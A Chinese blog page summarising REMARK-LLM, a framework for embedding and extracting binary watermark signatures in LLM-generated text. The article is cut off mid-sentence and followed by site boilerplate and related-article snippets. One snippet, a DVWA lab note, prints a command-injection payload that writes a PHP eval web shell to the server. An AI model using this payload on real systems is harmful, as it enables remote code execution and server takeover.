REMARK-LLM:用于生成大型语言模型的稳健且高效的水印框架

REMARK-LLM:用于生成大型语言模型的稳健且高效的水印框架

前言

  • 提出这一模型的初衷

为了应对大量计算资源和数据集出现伴随的知识产权问题。使用LLM合成类似人类的内容容易受到恶意利用,包括垃圾邮件和抄袭。
ChatGPT等大语言模型LLM的开发取得的进展标志着人机对话交互的范式转变。与此同时,需要设计机制来声明LLM生成的文本的所有权并跟踪生成内容的发布
水印提供了一种有希望的解决方案来解决两个长期存在的问题:主张生成输出的所有权和追踪内容来源。通过将水印签名嵌入到LLM的输出中,模型所有者可以有效地监控其内容使用情况并验证其所有权

  • 模型的亮点

REMARK-LLM提出了三个新组件:
1、基于学习的信息编码模块,将二进制签名注入LLM生成的文本中。将LLM生成的文本及其相应的签名编码到潜在特征空间中。添加它们的特征表示并产生词汇表上的水印分布。
2、重新参数化模块,将消息编码的密集分布转换为带水印文本标记的稀疏分布。
3、专用于签名提取的信息解码模块,利用转换器预测插入的消息,从而提取水印签名。
三个模块都是端到端训练,目标是
1、通过最小化LLM生成的文本和加水印的文本之间的语义损失来保持语义保真度
2、通过最小化插入和从加水印的文本中提取的水印签名之间的消息恢复损失来确保水印提取、
3、通过从恶意转换中提取水印签名来增强鲁棒性
同时引入一种优化的波束搜索算法来生成具有连贯性和一致性的内容。
通过REMARK-LLM,LLM所有者利用消息编码模块将二进制签名嵌入到LLM生成的文本中并获得带水印的分布。随后,优化的波束搜索算法将该模块分布的输出转换为带水印的文本,确保语义连贯性、坚定的语义保真度和成功提取签名。接下来,带水印的文本作为连贯的响应传播给最终用户。可以使用消息解码模块提取插入的签名来验证水印的存在。它将提取的消息与插入的签名进行比较,以确定LLM是否生成文本。

  • 模型效果
    在带有水印的内容中保留了语义完整性,同时确保有效的水印检索。对多个未见过的数据集进行的广泛评估凸显了REMARK-LLM与现有技术相比,他在同一文本中嵌入了更多签名位,同时保持了语义完整性。此外,REMARK-LLM对一系列水印检测和删除攻击表现出更好地弹性。
  • 现有的文本水印
    1、基于规则的水印
    基于规则的水印取代了同义词或转换句法结构插入段落作为水印。这些手动设计的特征使得插入的签名可以通过词分布或句法分析在统计上被移除。
    基于规则的水印通过操纵语言特征将水印集成到LLM生成的文本中,改变词汇属性,并替换同义词。基于规则的水印方法旨在将同义词替换或句法变换作为水印插入,同时确保整体语义不被

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66209.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

面试题解,Java中的“对象”剖析

一、说一说JVM中对象的内存布局?new一个对象到底占多大内存? 话不多说,看下图,对象的内存布局图 一个对象的内存布局主要由三部分组成:对象头(Object Header)、实例数据(Instance D…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

MySQL(五)MySQL图形化工具-Navicat

1. MySQL图形化工具-Navicat Navicat是一套快速、可靠的数据库管理工具&#xff0c;Navicat是以直觉化的图形用户界面而建的&#xff0c;可以兼容多种数据库&#xff0c;支持多种操作系统。   Navicat for MySQL是一款强大的 MySQL 数据库管理和开发工具&#xff0c;它为专业…

union的实际使用

记录一下&#xff0c;免得忘记&#xff1a; 1、定义一个共用体变量 这里定义一个64位变量 i2creg_rev&#xff0c;然后通过共用体定义两个位变量bits和bits_reverse&#xff0c;通过bit可以访问指定位的值大小&#xff0c;不需要自己再左移右移转换。 bits_reverse是bits的对…

【深度学习基础之多尺度特征提取】多尺度卷积神经网络(MS-CNN)是如何在深度学习网络中提取多尺度特征的?附代码(二)

【深度学习基础之多尺度特征提取】多尺度卷积神经网络&#xff08;MS-CNN&#xff09;是如何在深度学习网络中提取多尺度特征的&#xff1f;附代码&#xff08;二&#xff09; 【深度学习基础之多尺度特征提取】多尺度卷积神经网络&#xff08;MS-CNN&#xff09;是如何在深度…

非关系型数据库和关系型数据库的区别

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

信息科技伦理与道德1:绪论

1 问题描述 1.1 信息科技的进步给人类生活带来的是什么呢&#xff1f; 功能&#xff1f;智能&#xff1f;陪伴&#xff1f;乐趣&#xff1f;幸福&#xff1f; 基于GPT-3的对话Demo DeepFake 深伪技术&#xff1a;通过神经网络技术进行大样本学习&#xff0c;将个人的声音、面…

安装和配置MySQL教程

以下是在不同操作系统下安装和配置MySQL的详细教程&#xff1a; Windows系统 下载MySQL安装包 访问MySQL官方网站&#xff08;https://dev.mysql.com/downloads/mysql/&#xff09;&#xff0c;根据你的操作系统版本&#xff08;32位或64位&#xff09;下载相应的MySQL Commu…

iOS 11 中的 HEIF 图像格式 - 您需要了解的内容

HEIF&#xff0c;也称为高效图像格式&#xff0c;是iOS 11 之后发布的新图像格式&#xff0c;以能够在不压缩图像质量的情况下以较小尺寸保存照片而闻名。换句话说&#xff0c;HEIF 图像格式可以具有相同或更好的照片质量&#xff0c;同时比 JPEG、PNG、GIF、TIFF 占用更少的设…

windows远程桌面无法连接,报错:“由于没有远程桌面授权服务器可以提供许可证,远程会话被中断。请跟服务器管理员联系”

windows远程桌面无法连接&#xff0c;报错&#xff1a;“由于没有远程桌面授权服务器可以提供许可证&#xff0c;远程会话被中断。请跟服务器管理员联系” 问题描述&#xff1a;解决方法&#xff1a;无法删除条目解决如下&#xff1a;正常激活详见&#xff1a;[RDS远程服务激活…

编译 C++ 程序:分离与保留调试信息以支持 GDB 对 Core 文件的调试

在 C 程序开发过程中&#xff0c;调试是一个非常重要的环节。当程序出现问题&#xff0c;尤其是在生产环境中出现崩溃并生成 Core 文件时&#xff0c;我们需要使用调试工具&#xff08;如 GDB&#xff09;对程序进行深入分析&#xff0c;找出问题的根源。为了在需要时能够有效地…

python对mongodb的增删查改

python对mongodb的增删查改 1. 安装 pymongo2. 连接 MongoDB3. 创建&#xff08;插入&#xff09;文档插入单个文档插入多个文档 4. 查询文档查询单个文档查询多个文档复杂查询嵌套查询分页条件查询&#xff08;通用模版&#xff09; 5. 更新文档更新单个文档更新多个文档更新嵌…

Tesseract5.4.0自定义LSTM训练

准备jTessBoxEditor&#xff0c;然后配置环境变量。 1、将图片转换成tif格式的&#xff0c;这里需要用画图工具另存为&#xff1b; 2、生成box文件 执行命令&#xff1a; tesseract agv.normal.exp1.tif agv.normal.exp1 -l eng --psm 6 batch.nochop makebox 关于box文件…

Oracle Dataguard(主库为 Oracle 11g 单节点)配置详解(1):Oracle Dataguard 工作原理

Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle Dataguard 工作原理 目录 Oracle Dataguard&#xff08;主库为 Oracle 11g 单节点&#xff09;配置详解&#xff08;1&#xff09;&#xff1a;Oracle …

Windows系统安装Docker Desktop

文章目录 注意事项安装步骤官网下载软件安装到其它盘符操作(如果就想安装到C盘可以跳过这个步骤, 直接执行文件)等待出现软件安装界面Windows系统的配置软件的一些必要设置(以下设置需要点击apply才能生效&#xff0c;如果点不了&#xff0c;那就是安装后&#xff0c;出现了错误…

从零开始RTSP协议的实时流媒体拉流(pull)的设计与实现(一)

此文为系列文章&#xff0c;此系列主要讲解RTSP客户端的拉流及播放&#xff0c;文章持续更新&#xff0c;会从rtsp的基本协议讲起&#xff0c;如何一步步实现音视频的拉流过程&#xff0c;包括一系列涉及到的协议&#xff0c;rtsp&#xff0c;sdp&#xff0c; rtp&#xff08;本…

让私域用户付费的三个关键要素

在吸引私域用户付费的过程中&#xff0c;有三个关键要素是不可忽视的。 下面&#xff0c;就一起来看看是哪三个要素&#xff0c;帮助你更好地挖掘私域用户的潜力。 价值提供&#xff1a;真正解决用户的问题 简单来说&#xff0c;用户愿意为他们认为有价值的东西付费。当你的…

Qt:子线程在程序退出时的操作

在Qt中可以使用线程指针对子线程进行操作。子线程可以使用使用基本指针&#xff0c;shared_ptr&#xff0c;两种指针进行操作&#xff08;QSharedPointer指针操作有问题还未解决&#xff0c;先不讲&#xff09;。 // c标准库 shared_ptr<QThread> thread_;// 基本指针 Q…

特殊车辆检测数据集VOC+YOLO格式2730张3类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;2730 标注数量(xml文件个数)&#xff1a;2730 标注数量(txt文件个数)&#xff1a;2730 …

LookingGlass使用

背景 Looking Glass 是一款开源应用程序&#xff0c;可以直接使用显卡直通的windows虚拟机。 常见环境是Linux hostwindows guest&#xff0c;基本部署结构图&#xff1a; 编译 git clone --recursive https://github.com/gnif/LookingGlass.git编译client mkdir client/b…